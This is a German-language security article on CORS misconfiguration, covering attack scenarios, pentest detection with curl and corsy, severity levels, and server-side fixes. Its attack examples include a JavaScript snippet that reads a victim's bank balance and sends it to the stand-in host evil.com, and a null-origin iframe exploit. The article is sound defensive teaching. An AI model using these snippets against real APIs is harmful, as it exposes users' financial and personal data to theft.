CORS - Cross-Origin Resource Sharing Fehlkonfiguration
CORS-Fehlkonfigurationen entstehen wenn Webserver Access-Control-Allow-Origin Wildcards oder nicht validierte Origins zurückgeben. Angreifer können im Browser des Opfers seitenübergreifende Requests mit Cookies stellen und sensitive API-Antworten lesen. Kritisch bei Access-Control-Allow-Credentials: true. Schutz: strikte Origin-Whitelist serverseitig validieren, keine Wildcards mit Credentials kombinieren.
CORS (Cross-Origin Resource Sharing) ist ein Browser-Sicherheitsmechanismus der Same-Origin-Policy-Ausnahmen für berechtigte Cross-Origin-Requests ermöglicht. Fehlkonfigurationen in CORS-Headern erlauben Angreifern, im Browser eines eingeloggten Opfers API-Requests an sensitive Endpunkte zu senden und die Antworten zu lesen - ein Angriff den Same-Origin-Policy eigentlich verhindern soll.
Das CORS-Grundprinzip
Same-Origin-Policy (SOP): Browser erlaubt JavaScript auf site-a.com NICHT, Responses von site-b.com zu lesen (Requests können gesendet werden - aber die Antwort wird blockiert).
CORS-Ausnahme (wenn Server zustimmt):
Access-Control-Allow-Origin: https://site-a.com
Der Browser erlaubt JavaScript dann die Antwort zu lesen.
Fehlkonfigurationen:
Access-Control-Allow-Origin: * ← Wildcard
Access-Control-Allow-Origin: null ← null Origin
Access-Control-Allow-Origin: <geklont aus Request> ← Echo
Problematische Kombination:
Access-Control-Allow-Credentials: true ← Cookies mitsenden!
Access-Control-Allow-Origin: * ← Browser BLOCKIERT das
Access-Control-Allow-Origin: <Echo> ← GEFÄHRLICH!
Angriffsszenarien
Szenario 1 - Origin Echo mit Credentials
Anfälliger Server-Code gibt einfach den Request-Origin zurück:
Access-Control-Allow-Origin: $REQUEST_ORIGIN
Access-Control-Allow-Credentials: true
Angriff von Angreifer-Seite (evil.com):
fetch('https://api.bank.com/account/balance', {
credentials: 'include' // Sendet Session-Cookie!
})
.then(r => r.json())
.then(data => {
// Angreifer liest Kontostand!
fetch('https://evil.com/steal?data=' + JSON.stringify(data));
});
Ablauf: Opfer besucht evil.com → Browser sendet Request zu api.bank.com MIT Session-Cookie → Server antwortet (CORS erlaubt es wegen Echo-Konfiguration!) → JavaScript liest sensitive Daten → Daten werden zu evil.com exfiltriert.
Szenario 2 - Null-Origin
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
<!-- Sandboxed iframe sendet null als Origin -->
<iframe sandbox="allow-scripts" src="data:text/html,
<script>
fetch('https://api.target.com/private', { credentials: 'include' })
.then(r => r.text())
.then(d => parent.postMessage(d, '*'));
</script>
"></iframe>
data: URLs haben Origin: null - der Server erlaubt null, der iframe kann lesen.
Szenario 3 - Subdomain-Takeover + CORS
CORS-Whitelist: *.company.com - wenn staging.company.com per Subdomain-Takeover übernommen wird, kann der Angreifer von dort CORS-erlaubte Requests gegen api.company.com senden.
Szenario 4 - Regex-Bypass in Origin-Validierung
Server-Regex: /^https://company\.com$/
Escaping-Fehler: /https://company.com/ (Punkt nicht escaped)
→ companyXcom, company-evil.com matchen ebenfalls!
Erkennung im Pentest
1. Einfacher CORS-Check via curl
# Test: Origin senden und Response prüfen
curl -v -H "Origin: https://evil.com" \
https://api.target.com/api/user
# Response-Header prüfen:
# Access-Control-Allow-Origin: https://evil.com ← ECHO! Prüfen!
# Access-Control-Allow-Credentials: true ← KRITISCH!
2. Systematische Origin-Tests
# Verschiedene Origins testen:
curl -H "Origin: https://evil-target.com" https://target.com/api/
curl -H "Origin: null" https://target.com/api/
curl -H "Origin: https://target.com.evil.com" https://target.com/api/
curl -H "Origin: https://evil.com" https://target.com/api/
3. Burp Suite CORS Testing
- Origin-Header auf evil.com setzen
- Response: Access-Control-Allow-Origin prüfen?
- Falls Echo: mit Credentials testen
- Auf private Endpunkte ausweiten
4. Tool: corsy (Python)
# Automatisierter CORS-Scanner:
python3 corsy.py -u https://target.com/api/ -t 10
# Prüft alle bekannten CORS-Fehlkonfigurationen
5. Kritische Endpunkte prüfen
/api/user,/api/profile(PII)/api/payment,/api/account(Finanzen)/api/admin(privilegierte Operationen)/api/token,/api/auth(Authentifizierung)
Schweregrade
| Schweregrad | Konfiguration |
|---|---|
| KRITISCH | ACAO: Echo + ACAC: true + sensitive Endpunkte |
| HOCH | ACAO: null + ACAC: true |
| MITTEL | ACAO: * (ohne Credentials - kein Session-Zugriff) |
| INFO | ACAO: * auf public API ohne sensitive Daten |
Schutzmaßnahmen
1. Strikte Origin-Whitelist (EINZIGE korrekte Methode)
// Node.js/Express:
const allowedOrigins = [
'https://app.company.com',
'https://www.company.com'
];
app.use((req, res, next) => {
const origin = req.headers.origin;
// Immer gegen statische Whitelist prüfen!
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Vary', 'Origin'); // Cache-Poisoning verhindern!
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
next();
});
// FALSCH (Echo):
// res.setHeader('ACAO', req.headers.origin); // NIEMALS!
2. CORS-Konfiguration per Framework
# Python (Django) - settings.py:
CORS_ALLOWED_ORIGINS = [
"https://app.company.com",
"https://www.company.com"
]
# KEIN: CORS_ORIGIN_ALLOW_ALL = True !
CORS_ALLOW_CREDENTIALS = True
// Java (Spring):
@CrossOrigin(origins = {"https://app.company.com"},
allowCredentials = "true")
// Kein @CrossOrigin(origins = "*") mit allowCredentials!
# Nginx - erlaubt nur exakt diese Origin:
if ($http_origin = "https://app.company.com") {
add_header 'Access-Control-Allow-Origin' $http_origin;
add_header 'Access-Control-Allow-Credentials' 'true';
}
3. Vary-Header IMMER setzen wenn Origin dynamisch
Vary: Origin
Verhindert dass Proxy-Caches falsche CORS-Response cachen.
4. Preflight-Requests richtig behandeln
OPTIONS /api/data HTTP/1.1
→ Nur erlaubte Methoden/Header zurückgeben:
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400
5. Credentials mit Wildcard - niemals kombinieren
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Browser blockiert das bereits - aber nie Echo als Workaround verwenden!
6. Null-Origin niemals erlauben
if (origin === 'null') return; // null ablehnen!
// data: URLs, sandboxed iframes senden null
7. Für interne APIs ohne Browser-Zugriff
CORS deaktivieren (kein Allow-Origin Header) - CORS ist nur für APIs nötig, die von Browsern konsumiert werden.